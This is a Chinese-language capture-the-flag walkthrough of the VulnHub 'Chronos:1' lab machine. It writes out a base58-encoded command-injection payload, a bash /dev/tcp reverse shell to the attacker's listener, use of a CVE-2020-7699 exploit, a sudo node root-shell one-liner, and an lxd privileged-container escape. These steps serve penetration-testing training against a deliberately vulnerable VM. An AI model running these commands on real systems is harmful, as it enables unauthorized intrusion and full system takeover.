vulnhub靶场之Chronos:1
准备:
攻击机:虚拟机kali、本机win10。
靶机:Chronos,下载地址:https://download.vulnhub.com/chronos/Chronos.ova,下载后直接vbox打开即可。
知识点:lxd提权、node提权、dns解析、命令执行漏洞、base58解密、CVE-2020-7699漏洞。

信息收集:
通过nmap扫描下网段内的存活主机地址,确定下靶机的地址:nmap -sn 192.168.110.0/24,获得靶机地址:192.168.1.82。

扫描下端口对应的服务:nmap -T4 -sV -p- -A 192.168.110.82,显示开放了22、80、8000端口,开启了ssh、http服务。

使用dirmap、dirsearch进行目录扫描,均未发现有效的目录信息。

DNS解析:
在检查:http://192.168.110.82/的源代码信息时,发现一个链接:http://chronos.local:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL,观察到:chronos.local,就想到要进行dns解析。win:打开C:\Windows\System32\drivers\etc\hosts文件,添加:192.168.110.82 chronos.local,但是访问还是显示被禁止。

bp抓包分析:
使用bp抓包访问:http://192.168.110.82/,发现在访问http://chronos.local:8000/date时,其User-Agent被修改成立Chronos,经验证这就是上面被禁止的原因。

后面直接访问:http://chronos.local:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL进行抓包并修改User-Agent为:Chronos,可以正常访问。

命令执行:
传递的加密字符串疑是base64加密,但是经过base64、base32解密均失败,最后base58解密成功,解密后信息:'+Today is %A, %B %d, %Y %H:%M:%S.',根据解密后的信息猜测应该是执行的date命令。

那我们利用&、;、|等符号来执行我们自己的命令,例如:;ls,base58加密后:Lxfc,获得当前目录信息

获取shell:
利用命令执行漏洞获取shell权限,通过执行命令:bash -c 'bash -i >& /dev/tcp/192.168.110.234/6688 0>&1'来获取shell权限,base58加密后:2cH1gSRr9UAWvT31knR5Zo6eraKZs1x1qGWATRGhQphNCQp9QsUUjujayt3uEUnorRYYh5eBnppq4,在kali端开启对6688端口的监听:nc -lvvp 6688,成功获得shell权限。


提权至imera:
在当前用户目录下进行信息查找,经过一番查找在/opt/chronos-v2/backend目录下面发现靶机上开启了第二个服务并且该服务中疑是存在文件上传漏洞。

在网上查找时发现该漏洞编号为:CVE-2020-7699,那就查找下该漏洞的exp,可以在:https://github.com/boiledsteak/EJS-Exploit/blob/main/attacker/EJS-RCE-attack.py或者https://blog.p6.is/Real-World-JS-1/等网站均可以。

将py代码下载复制下来保存到kali中,然后使用python开启http服务:python -m http.server,在把靶机中下载该文件,命令:wget http://192.168.110.234:8000/express-fileupload.py。

在kali中开启对8899端口的监听:nc -nvlp 8899,然后在靶机中执行express-fileupload.py文件,命令:python3 express-fileupload.py,成功获得imera账户的shell权限,如果未获得权限多执行几次,测试两次均是执行 三次才获得imera的shell权限。

在/home/imera账户下发现user.txt文件并读取flag信息。

提权至root-node提权:
查看下当前账户是否存在可以使用的特权命令,sudo -l,显示存在npm命令和node命令。

查找下node命令的提权方法,命令:sudo node -e 'require("child_process").spawn("/bin/sh", {stdio: [0, 1, 2]})',即可获得root权限,然后在/root目录下发现root.txt文件并读取flag值。


提权至root-lxd提权:
在获得imera账户权限的时候,我们发现该账户具有lxd权限,那也可以采用lxd提权方式进行提权。

首先在这个网站:https://github.com/saghul/lxd-alpine-builder.git下载tar.gz文件并上传到靶机,命令:wget http://192.168.110.234:8000/lxd/alpine-v3.13-x86_64.tar.gz。然后在依次执行如下命令,即可成功获得root权限。
lxc image import ./alpine-v3.13-x86_64.tar.gz --alias myimage
lxd init #基本默认配置,进行回车就行
lxc init myimage ignite -c security.privileged=true
lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true
lxc start ignite
lxc exec ignite /bin/sh

获得root权限后进入root目录:cd /mnt/root/root,发现root.txt文件并读取flag值。

补充:
在使用npm进行提权时是提权失败的。

vulnhub靶场之Chronos:1的更多相关文章
- Vulnhub靶场题解
Vulnhub简介 Vulnhub是一个提供各种漏洞环境的靶场平台,供安全爱好者学习渗透使用,大部分环境是做好的虚拟机镜像文件,镜像预先设计了多种漏洞,需要使用VMware或者VirtualBox运行 ...
- VulnHub靶场学习_HA: ARMOUR
HA: ARMOUR Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-armour,370/ 背景: Klaw从“复仇者联盟”超级秘密基地偷走了一些盔甲 ...
- VulnHub靶场学习_HA: InfinityStones
HA-InfinityStones Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-infinity-stones,366/ 背景: 灭霸认为,如果他杀 ...
- VulnHub靶场学习_HA: Avengers Arsenal
HA: Avengers Arsenal Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-avengers-arsenal,369/ 背景: 复仇者联盟 ...
- VulnHub靶场学习_HA: Chanakya
HA-Chanakya Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-chanakya,395/ 背景: 摧毁王国的策划者又回来了,这次他创造了一个难 ...
- VulnHub靶场学习_HA: Pandavas
HA: Pandavas Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-pandavas,487/ 背景: Pandavas are the warr ...
- VulnHub靶场学习_HA: Natraj
HA: Natraj Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-natraj,489/ 背景: Nataraj is a dancing avat ...
- VulnHub靶场学习_HA: Chakravyuh
HA: Chakravyuh Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-chakravyuh,388/ 背景: Close your eyes a ...
- VulnHub靶场学习_HA:Forensics
HA:Forensics Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-forensics,570/ 背景: HA: Forensics is an ...
- Vulnhub靶场——DC-1
记一次Vulnhub靶场练习记录 靶机DC-1下载地址: 官方地址 https://download.vulnhub.com/dc/DC-1.zip 该靶场共有5个flag,下面我们一个一个寻找 打开 ...
随机推荐
- Exchange 2019中启用自动转发到外部域
今天遇到一个用户反映自动转发的邮件规则没有生效.检查了一下,邮件规则配置没有问题.用户邮箱也能正常收到邮件,但是就是没有转发出去.仔细检查邮件规则,转发的收件人是外部邮箱.Exchange出于安全考虑 ...
- Django 简介和版本介绍
一.简介 官方地址:https://www.djangoproject.com Django 是一个由Python 编写的具有完整架站能力的开源Web框架.使用 Django,只要很少的代码,开发人员 ...
- 有偿提供ES 7.X和8.X 版本 的白金版和企业版 使用咨询服务
若有意向,可通过下方的邮箱发邮件进行咨询,非诚勿扰.. 邮箱地址:sandu12345@msn.cn
- Kubernetes中使用ClusterDNS进行服务发现
在k8s集群中,服务是运行在Pod中的,Pod的发现和副本间负载均衡是我们面临的问题.我们使用Service解决了负载均衡的问题,但是集群环境中,service经常伴随着ip的变动而变动,得益于kub ...
- k8s中pod的容器日志查看命令
如果容器已经崩溃停止,您可以仍然使用 kubectl logs --previous 获取该容器的日志,只不过需要添加参数 --previous. 如果 Pod 中包含多个容器,而您想要看其中某一个容 ...
- sql 中HAVING函数
select * from <表名> group by<过滤的数据> having <晒选的列名>=<条件> 例 select * from villa ...
- 一键生成通用高亮代码块到剪贴板,快捷粘贴兼容 TT/WX/BJ 编辑器
有些在线图文编辑器不支持直接插入代码块,但可以直接粘贴 HTML 格式的高亮代码块. 花了一点时间研究了一下各家的编辑器,规则却各不相同.有的要求代码块被包含于 <code> ... &l ...
- 消除两个inline-block元素之间的间隔
发现问题 两个inline-block元素之间的间隔.如下图 期望 消除两个inline-block元素之间的间隔. 解决方法 1.父元素字体大小设置为0 间隔的形成是非元素标签形成的 /** 方案1 ...
- vue+spirngboot 分离技术实现图书信息的增删改查(改造这学期的课程设计【1】)
1.前端项目的创建 vue init webpack bookshopvue 安装axios http://www.axios-js.com/ npm install --save axios vue ...
- Audacity开源音频处理软件使用入门
操作系统 :Windows10_x64 Audacity版本:3.2.1 Audacity是一款开源.免费.跨平台的音频处理及录音软件,支持Windows.macOS及Linux操作系统. 这里记录下 ...